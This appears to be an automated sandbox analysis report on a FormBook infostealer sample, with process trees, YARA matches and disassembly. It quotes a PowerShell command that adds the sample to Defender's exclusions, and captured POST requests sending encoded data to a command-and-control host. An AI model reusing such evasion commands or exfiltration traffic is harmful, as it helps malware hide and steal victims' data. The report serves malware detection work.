                                                        Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 66 34 3d 78 78 4c 6c 35 74 48 70 2d 62 79 70 70 78 48 26 4d 4e 6f 64 4a 44 38 70 3d 50 4e 44 30 45 54 4b 71 6c 69 65 54 54 65 71 69 6e 56 6f 4f 64 6f 4d 44 47 6b 4d 35 4f 64 6f 34 73 71 67 32 73 35 59 78 46 4b 64 68 36 43 50 55 48 77 32 74 54 4d 4b 64 56 39 4d 39 46 50 50 31 57 35 78 56 34 46 59 43 71 6c 38 41 51 72 69 6d 31 54 36 4b 51 4b 61 62 56 35 44 50 64 6e 57 42 30 41 30 58 6b 6c 38 59 4f 47 6a 76 34 4a 2b 5a 75 43 6f 6b 34 58 67 58 6e 68 36 45 73 58 4a 46 41 77 56 66 4e 56 67 48 4e 4e 37 4f 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e
                                                        Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?f4=xxLl5tHp-byppxH&MNodJD8p=PND0ETKqlieTTeqinVoOdoMDGkM5Odo4sqg2s5YxFKdh6CPUHw2tTMKdV9M9FPP1W5xV4FYCql8AQrim1T6KQKabV5DPdnWB0A0Xkl8YOGjv4J+ZuCok4XgXnh6EsXJFAwVfNVgHNN7O"}</script></head></html>


                                                        Session IDSource IPSource PortDestination IPDestination Port
                                                        49192.168.2.7593183.33.130.19080
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:30:30.053806067 CEST661OUTPOST /vrn9/ HTTP/1.1
                                                        Host: www.hilfe24x7.de
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 221
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.hilfe24x7.de
                                                        Referer: http://www.hilfe24x7.de/vrn9/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 2b 6a 6b 54 54 37 61 4d 67 4a 41 76 63 68 39 71 37 64 4b 64 4b 50 63 36 5a 2f 62 6c 55 33 67 4e 47 2b 54 75 79 6e 50 32 2f 74 78 59 46 35 57 2b 6a 52 52 31 6a 4e 76 58 5a 74 79 2b 6c 69 39 74 64 49 61 53 4d 78 66 6d 2f 4e 58 35 76 4d 4e 70 46 71 76 50 45 56 63 78 6a 6b 44 4f 50 31 32 6e 44 7a 6f 46 62 63 44 4f 37 50 77 2f 53 4d 31 6a 67 6d 71 38 34 4a 4a 6c 52 43 37 66 74 55 4e 57 6b 4e 30 6d 45 36 79 49 36 57 76 4f 65 52 4a 6b 50 65 34 62 50 7a 42 4c 76 30 6c 76 48 4e 37 78 46 2b 39 5a 32 52 6a 30 37 6c 54 4d 4e 36 33 6c 4c 50 67 72 5a 42 36 52 59 36 57 44 50 6f 67 4e 72 2b 35 78 4d 50 6d 56 6d 2f 53 4f 63 30 6f 4e 75 41 3d 3d
                                                        Data Ascii: MNodJD8p=+jkTT7aMgJAvch9q7dKdKPc6Z/blU3gNG+TuynP2/txYF5W+jRR1jNvXZty+li9tdIaSMxfm/NX5vMNpFqvPEVcxjkDOP12nDzoFbcDO7Pw/SM1jgmq84JJlRC7ftUNWkN0mE6yI6WvOeRJkPe4bPzBLv0lvHN7xF+9Z2Rj07lTMN63lLPgrZB6RY6WDPogNr+5xMPmVm/SOc0oNuA==


                                                        Session IDSource IPSource PortDestination IPDestination Port
                                                        50192.168.2.7593193.33.130.19080
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:30:32.587187052 CEST681OUTPOST /vrn9/ HTTP/1.1
                                                        Host: www.hilfe24x7.de
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 241
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.hilfe24x7.de
                                                        Referer: http://www.hilfe24x7.de/vrn9/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 2b 6a 6b 54 54 37 61 4d 67 4a 41 76 64 42 74 71 2b 37 43 64 62 76 63 39 53 66 62 6c 50 48 67 4a 47 2b 50 75 79 6d 37 63 2b 66 6c 59 46 63 53 2b 6b 51 52 31 6d 4e 76 58 53 4e 7a 30 36 79 39 32 64 49 66 79 4d 31 66 6d 2f 4f 72 35 76 4d 39 70 46 62 76 41 45 46 63 33 6f 45 44 49 4c 31 32 6e 44 7a 6f 46 62 64 6d 62 37 50 6f 2f 53 34 4a 6a 68 45 43 39 6e 35 4a 69 57 43 37 66 70 55 4e 53 6b 4e 31 46 45 34 48 6a 36 56 58 4f 65 56 46 6b 50 76 34 55 47 7a 42 33 79 45 6b 35 4b 49 65 68 64 62 56 4b 34 51 6d 6f 37 30 36 6e 49 4d 71 48 52 74 73 48 48 51 43 71 63 34 79 31 59 4f 39 34 70 2f 39 70 42 74 53 30 35 49 33 6b 52 6d 4a 4a 34 31 30 4d 33 4b 52 6f 69 78 65 44 33 6d 58 58 48 71 73 76 50 55 51 3d
                                                        Data Ascii: MNodJD8p=+jkTT7aMgJAvdBtq+7Cdbvc9SfblPHgJG+Puym7c+flYFcS+kQR1mNvXSNz06y92dIfyM1fm/Or5vM9pFbvAEFc3oEDIL12nDzoFbdmb7Po/S4JjhEC9n5JiWC7fpUNSkN1FE4Hj6VXOeVFkPv4UGzB3yEk5KIehdbVK4Qmo706nIMqHRtsHHQCqc4y1YO94p/9pBtS05I3kRmJJ410M3KRoixeD3mXXHqsvPUQ=


                                                        Session IDSource IPSource PortDestination IPDestination Port
                                                        51192.168.2.7593203.33.130.19080
                                                        TimestampBytes transferredDirectionData
                                                        May 27, 2024 12:30:36.429765940 CEST1694OUTPOST /vrn9/ HTTP/1.1
                                                        Host: www.hilfe24x7.de
                                                        Accept: */*
                                                        Accept-Language: en-US,en;q=0.9
                                                        Accept-Encoding: gzip, deflate, br
                                                        Cache-Control: no-cache
                                                        Content-Length: 1253
                                                        Connection: close
                                                        Content-Type: application/x-www-form-urlencoded
                                                        Origin: http://www.hilfe24x7.de
                                                        Referer: http://www.hilfe24x7.de/vrn9/
                                                        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36
                                                        Data Raw: 4d 4e 6f 64 4a 44 38 70 3d 2b 6a 6b 54 54 37 61 4d 67 4a 41 76 64 42 74 71 2b 37 43 64 62 76 63 39 53 66 62 6c 50 48 67 4a 47 2b 50 75 79 6d 37 63 2b 66 39 59 46 71 75 2b 6b 7a 4a 31 68 4e 76 58 64 64 7a 33 36 79 39 37 64 4f 33 2b 4d 31 61 52 2f 49 6e 35 76 76 31 70 44 70 48 41 4c 46 63 33 6e 6b 44 4e 50 31 32 49 44 7a 34 42 62 64 32 62 37 50 6f 2f 53 35 5a 6a 6c 57 71 39 6c 35 4a 6c 52 43 37 44 74 55 4e 71 6b 4e 64 37 45 34 44 56 37 6b 33 4f 65 31 56 6b 63 39 67 55 4a 7a 42 50 78 45 6b 78 4b 49 62 37 64 64 78 34 34 51 44 4e 37 31 4f 6e 49 72 4c 50 57 50 63 38 53 77 69 79 63 75 75 51 58 2f 6f 49 73 66 74 69 45 74 61 75 77 71 76 4d 56 47 6c 45 38 67 63 41 6c 4a 39 32 73 79 43 32 34 42 57 44 55 5a 73 6b 57 55 6c 6c 6e 53 72 79 70 54 76 78 66 44 6f 66 73 4e 63 48 6e 6e 63 44 72 45 37 58 6f 71 5a 59 6b 62 38 61 67 33 61 6b 44 70 4b 4d 4d 69 4a 47 73 30 6a 4d 79 69 50 58 4b 47 77 59 2f 33 59 70 66 78 4a 44 2f 57 70 41 47 71 63 44 6e 58 41 37 38 36 49 78 51 32 6d 66 2f 7a 6d 6d 30 37 63 34 74 61 54 58 48 [TRUNCATED]
                                                        Data Ascii: MNodJD8p=+jkTT7aMgJAvdBtq+7Cdbvc9SfblPHgJG+Puym7c+f9YFqu+kzJ1hNvXddz36y97dO3+M1aR/In5vv1pDpHALFc3nkDNP12IDz4Bbd2b7Po/S5ZjlWq9l5JlRC7DtUNqkNd7E4DV7k3Oe1Vkc9gUJzBPxEkxKIb7ddx44QDN71OnIrLPWPc8SwiycuuQX/oIsftiEtauwqvMVGlE8gcAlJ92syC24BWDUZskWUllnSrypTvxfDofsNcHnncDrE7XoqZYkb8ag3akDpKMMiJGs0jMyiPXKGwY/3YpfxJD/WpAGqcDnXA786IxQ2mf/zmm07c4taTXHKxcQX/TUGfYKJcC3kpPlOLl9TaCMJL7t/a1IYEt1eCvW9PyG3UVFAQe/OYiqxN3cIlKYEh2SDgVGRa9jKB5okUHJ0phkem9cK9SDJNh676N6W+J9Mi4eEcDoUEQ4sucMj8GI6wnUfzjY5W9f2l6rEHFfX6MiuF5qUKCUFxuUB62ri4Sl7AdwSfYUMb+qsPYuOnVhCOKU9wvzzYal6L2ZeXbrbwrsTUZcFZXzjpGaFB+slEiFYWStoQUCWC9un6wE1ONQ/48mEO5x/8tjkb+qU0jUXAwy0x8S2J86f9trVEzqgxXwktRewJ+HgTa0cAr6WMdIXCC6own22cLi0QOOr7+9al2FkydDeHnuXKljpWnSQBqWb5z8m3CShABQVcTd5q6vgy7Hdas1Tm+gVepHvdyiSF3lDmHkwKP9jITloIisElfv6aRmcNqQSh9Cg1C1kRUOJR923y88C/uqkQg367joFhfodMv1p/Mx8FzzLgLJhSqWn84DuN/zK+/lJgYM97Eoq/ZXvFjogzFr9Sdk5JZ4zxJ+sjN+Ye/9QN+64bwmLzcf6SkPq6ajjHfPRaeY0iGdQ7b8nX8qqiwXFLDm01dQMmwdrq4BECqVpHL7ZfDEVsvAf2RdQqyAPVGy4h0UQ+ciE+RBbyKMthDcaYrHMGkFRgWZ7nn7PE [TRUNCATED]


                                                        Statistics

                                                        CPU Usage

                                                        Click to jump to process

                                                        Memory Usage

                                                        Click to jump to process

                                                        High Level Behavior Distribution

                                                        Click to dive into process behavior distribution

                                                        Behavior

                                                        Click to jump to process

                                                        System Behavior

                                                        General

                                                        Target ID:0
                                                        Start time:06:26:14
                                                        Start date:27/05/2024
                                                        Path:C:\Users\user\Desktop\inquiry EBS# 82785.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Users\user\Desktop\inquiry EBS# 82785.exe"
                                                        Imagebase:0x3e0000
                                                        File size:984'072 bytes
                                                        MD5 hash:F36AC11608BF695E552445FD88200E91
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:low
                                                        Has exited:true

                                                        General

                                                        Target ID:3
                                                        Start time:06:26:15
                                                        Start date:27/05/2024
                                                        Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\inquiry EBS# 82785.exe"
                                                        Imagebase:0x280000
                                                        File size:433'152 bytes
                                                        MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:4
                                                        Start time:06:26:15
                                                        Start date:27/05/2024
                                                        Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                                                        Imagebase:0xb00000
                                                        File size:45'984 bytes
                                                        MD5 hash:9D352BC46709F0CB5EC974633A0C3C94
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1435453576.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1438597703.0000000002340000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1438597703.0000000002340000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.1438447735.0000000001830000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.1438447735.0000000001830000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:5
                                                        Start time:06:26:15
                                                        Start date:27/05/2024
                                                        Path:C:\Windows\System32\conhost.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                        Imagebase:0x7ff75da10000
                                                        File size:862'208 bytes
                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                        Has elevated privileges:true
                                                        Has administrator privileges:true
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        General

                                                        Target ID:15
                                                        Start time:06:26:25
                                                        Start date:27/05/2024
                                                        Path:C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe"
                                                        Imagebase:0x520000
                                                        File size:140'800 bytes
                                                        MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 0000000F.00000002.3712340508.00000000030E0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                                        Reputation:high
                                                        Has exited:false

                                                        General

                                                        Target ID:16
                                                        Start time:06:26:26
                                                        Start date:27/05/2024
                                                        Path:C:\Windows\SysWOW64\iexpress.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Windows\SysWOW64\iexpress.exe"
                                                        Imagebase:0x180000
                                                        File size:152'064 bytes
                                                        MD5 hash:D594B2A33EFAFD0EABF09E3FDC05FCEA
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.3695841773.0000000003020000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.3712098478.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.3712098478.0000000004B70000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000010.00000002.3712203175.0000000004CC0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000010.00000002.3712203175.0000000004CC0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                        Reputation:moderate
                                                        Has exited:false

                                                        General

                                                        Target ID:20
                                                        Start time:08:23:27
                                                        Start date:27/05/2024
                                                        Path:C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe
                                                        Wow64 process (32bit):true
                                                        Commandline:"C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exe"
                                                        Imagebase:0x520000
                                                        File size:140'800 bytes
                                                        MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Yara matches:
                                                        • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000014.00000002.3714642969.00000000054D0000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                        • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000014.00000002.3714642969.00000000054D0000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                        Reputation:high
                                                        Has exited:false

                                                        General

                                                        Target ID:21
                                                        Start time:08:23:39
                                                        Start date:27/05/2024
                                                        Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                        Wow64 process (32bit):false
                                                        Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                        Imagebase:0x7ff722870000
                                                        File size:676'768 bytes
                                                        MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                        Has elevated privileges:false
                                                        Has administrator privileges:false
                                                        Programmed in:C, C++ or other language
                                                        Reputation:high
                                                        Has exited:true

                                                        Disassembly

                                                        Reset < >

                                                          Execution Graph

                                                          Execution Coverage:8.5%
                                                          Dynamic/Decrypted Code Coverage:100%
                                                          Signature Coverage:0%
                                                          Total number of Nodes:46
                                                          Total number of Limit Nodes:2
                                                          execution_graph 26412 e44668 26413 e4467a 26412->26413 26414 e44686 26413->26414 26416 e44783 26413->26416 26417 e4479d 26416->26417 26421 e44883 26417->26421 26425 e44888 26417->26425 26423 e448af 26421->26423 26422 e4498c 26423->26422 26429 e444e0 26423->26429 26427 e448af 26425->26427 26426 e4498c 26427->26426 26428 e444e0 CreateActCtxA 26427->26428 26428->26426 26430 e45918 CreateActCtxA 26429->26430 26432 e459db 26430->26432 26432->26432 26433 e4ad28 26434 e4ad2a 26433->26434 26437 e4ae1b 26434->26437 26435 e4ad37 26438 e4ae20 26437->26438 26439 e4ae4c 26438->26439 26442 e4b4c0 26438->26442 26446 e4b4bb 26438->26446 26439->26435 26443 e4b4d4 26442->26443 26445 e4b4f9 26443->26445 26450 e4b020 26443->26450 26445->26439 26447 e4b4d4 26446->26447 26448 e4b4f9 26447->26448 26449 e4b020 LoadLibraryExW 26447->26449 26448->26439 26449->26448 26451 e4b6a0 LoadLibraryExW 26450->26451 26453 e4b719 26451->26453 26453->26445 26454 e4d1d8 26455 e4d21e 26454->26455 26459 e4d3a7 26455->26459 26463 e4d3b8 26455->26463 26456 e4d30b 26460 e4d3b5 26459->26460 26466 e4b3e8 26460->26466 26464 e4d3e6 26463->26464 26465 e4b3e8 DuplicateHandle 26463->26465 26464->26456 26465->26464 26467 e4d420 DuplicateHandle 26466->26467 26468 e4d3e6 26467->26468 26468->26456 26469 e4b418 26470 e4b460 GetModuleHandleW 26469->26470 26471 e4b45a 26469->26471 26472 e4b48d 26470->26472 26471->26470

                                                          Executed Functions

                                                          Function 04D8327C Relevance: 2.7, Strings: 2, Instructions: 157COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 378 4d8327c-4d840d2 381 4d840db-4d840eb 378->381 382 4d840d4-4d840d6 378->382 384 4d840f1-4d84101 381->384 385 4d841b6-4d84288 381->385 383 4d8418a-4d841af 382->383 383->385 384->385 386 4d84107-4d8410b 384->386 405 4d8428f-4d842ae 385->405 389 4d8410d 386->389 390 4d84113-4d84132 386->390 389->385 389->390 391 4d84159-4d8415e 390->391 392 4d84134-4d84154 call 4d833e4 call 4d8325c call 4d8326c 390->392 394 4d84160-4d84162 call 4d833f4 391->394 395 4d84167-4d8417a call 4d83238 391->395 392->391 394->395 395->405 406 4d84180-4d84187 395->406 406->383
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: (q$Hq
                                                          • API String ID: 0-1154169777
                                                          • Opcode ID: 31c257b08f583ab5437e37c5c58ed2a4137f2a9e631b3c5bb31eb92b74cc91e8
                                                          • Instruction ID: 39d2cb9127991dc1b45d305d2fa81b8838b4b6e1cdc473f0fe25f095947c2649
                                                          • Opcode Fuzzy Hash: 31c257b08f583ab5437e37c5c58ed2a4137f2a9e631b3c5bb31eb92b74cc91e8
                                                          • Instruction Fuzzy Hash: BB51E570B002159FDB14AFB8C85527F7AE6EBC8300F25852DE90AD7390DE34AD0687A9
                                                          Function 04D836A0 Relevance: 2.6, Strings: 2, Instructions: 119COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 423 4d836a0-4d83702 call 4d82a28 429 4d83768-4d83794 423->429 430 4d83704-4d83706 423->430 431 4d8379b-4d837a3 429->431 430->431 432 4d8370c-4d83718 430->432 437 4d837aa-4d83811 431->437 432->437 438 4d8371e-4d83759 call 4d82a34 432->438 449 4d8375e-4d83767 438->449
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Hq$Hq
                                                          • API String ID: 0-925789375
                                                          • Opcode ID: fcb1b6ab7bb7fc77d4c28421bf4b579e569e199c159b7b6c0df19b0832fe3f7f
                                                          • Instruction ID: 9b62cf131d38bc9dcdef4f6a05cc42690becf6d7231c93407fc86afb7a18e063
                                                          • Opcode Fuzzy Hash: fcb1b6ab7bb7fc77d4c28421bf4b579e569e199c159b7b6c0df19b0832fe3f7f
                                                          • Instruction Fuzzy Hash: A441A474B003154FDB49AB7888646BE7BF7EFC9200B14446EE506EB391EF389D0287A5
                                                          Function 04D8CDD8 Relevance: 2.6, Strings: 2, Instructions: 102COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 472 4d8cdd8-4d8cdf8 488 4d8cdfb call 4d8cf50 472->488 489 4d8cdfb call 4d8cf40 472->489 474 4d8ce01-4d8cf3d 488->474 489->474
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 4'q$4'q
                                                          • API String ID: 0-1467158625
                                                          • Opcode ID: 35f3c37cac7e109b6d0d1bee98fa6de1267586ca6ab9b95cb6b51e140e303993
                                                          • Instruction ID: 0054451b58ee75502a4d855dc59e1eaa018992c6578767d6ee10c275292ac27e
                                                          • Opcode Fuzzy Hash: 35f3c37cac7e109b6d0d1bee98fa6de1267586ca6ab9b95cb6b51e140e303993
                                                          • Instruction Fuzzy Hash: 1B415E31D1070A9BDB10EFB9E8406DEB7B2FF95300F618625E5047B241EB707595CB91
                                                          Function 04D8CDD7 Relevance: 2.6, Strings: 2, Instructions: 102COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 454 4d8cdd7-4d8cdeb 455 4d8cdf5-4d8cdf8 454->455 470 4d8cdfb call 4d8cf50 455->470 471 4d8cdfb call 4d8cf40 455->471 456 4d8ce01-4d8cf3d 470->456 471->456
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1286081433.0000000004D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 04D80000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4d80000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: 4'q$4'q
                                                          • API String ID: 0-1467158625
                                                          • Opcode ID: 2a684d80bbcfbe8874694ba331243b0614218d90604cae3c47bfc4018c819387
                                                          • Instruction ID: f8d85f83747e5bf72c534676e87c0b817543553cf775d957e4a169366628480a
                                                          • Opcode Fuzzy Hash: 2a684d80bbcfbe8874694ba331243b0614218d90604cae3c47bfc4018c819387
                                                          • Instruction Fuzzy Hash: EE415F31D1070A9BDB10EFB9E8406DEB7B2FF95300F618625E5047B241EB707595CB91
                                                          Function 00E45A84 Relevance: 1.6, APIs: 1, Instructions: 99COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 490 e45a84-e45b14
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271963295.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_e40000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 0438c420f689ac1cc899ddfbc6bd81ac4f70adec9bd28f495308b1e5e42d3a48
                                                          • Instruction ID: 1dcf7fec437fbcbb7d69d82a01200330a5461a733f3a060abcc0b88069cd6db7
                                                          • Opcode Fuzzy Hash: 0438c420f689ac1cc899ddfbc6bd81ac4f70adec9bd28f495308b1e5e42d3a48
                                                          • Instruction Fuzzy Hash: 4E31E272C04B49CFEB20CFA4E8457EDBBB1EF85324F20918AC5556B292C735A946CF41
                                                          Function 00E444E0 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 493 e444e0-e459d9 CreateActCtxA 497 e459e2-e45a3c 493->497 498 e459db-e459e1 493->498 505 e45a3e-e45a41 497->505 506 e45a4b-e45a4f 497->506 498->497 505->506 507 e45a60 506->507 508 e45a51-e45a5d 506->508 509 e45a61 507->509 508->507 509->509
                                                          APIs
                                                          • CreateActCtxA.KERNEL32(?), ref: 00E459C9
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271963295.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_e40000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID: Create
                                                          • String ID:
                                                          • API String ID: 2289755597-0
                                                          • Opcode ID: db9dda715ed3730fe7620316eeb12ff016bb86781bd94663b62db00adaa8f48e
                                                          • Instruction ID: c15c15dfa13b5563d8d7f2d7b0894cffa260b7ac540bd9148d62292f7841e26c
                                                          • Opcode Fuzzy Hash: db9dda715ed3730fe7620316eeb12ff016bb86781bd94663b62db00adaa8f48e
                                                          • Instruction Fuzzy Hash: DF41F271C0071DCBEB24DFA9C84478DBBB2BF88304F20816AD408BB251DB756946CF90
                                                          Function 00E45913 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                          Download Yara Rule

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 511 e45913-e4598c 512 e4598f-e459d9 CreateActCtxA 511->512 514 e459e2-e45a3c 512->514 515 e459db-e459e1 512->515 522 e45a3e-e45a41 514->522 523 e45a4b-e45a4f 514->523 515->514 522->523 524 e45a60 523->524 525 e45a51-e45a5d 523->525 526 e45a61 524->526 525->524 526->526
                                                          APIs
                                                          • CreateActCtxA.KERNEL32(?), ref: 00E459C9
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1271963295.0000000000E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00E40000, based on PE: false
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_e40000_inquiry EBS# 82785.jbxd
                                                          Similarity
                                                          • API ID: Create
                                                          • String ID:
                                                          • API String ID: 2289755597-0
                                                          • Opcode ID: 28c7a0de27c87c45bfaefa97756f7c65da1d0f34e8b0084535908640529fa1b6
